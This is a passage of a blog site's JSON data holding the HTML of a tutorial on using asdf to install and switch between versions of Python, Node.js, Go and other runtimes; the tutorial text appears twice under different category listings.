tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages.   You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e--help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it'll use\nthis version for the system:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf local nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.17\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3.9\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e  is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-17T18:00:00-06:00","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"}]},"Linux":{"count":5,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou'll need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI've used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I'm contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives.  It'll me marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed.  You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages.   You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e--help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it'll use\nthis version for the system:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf local nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.17\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: 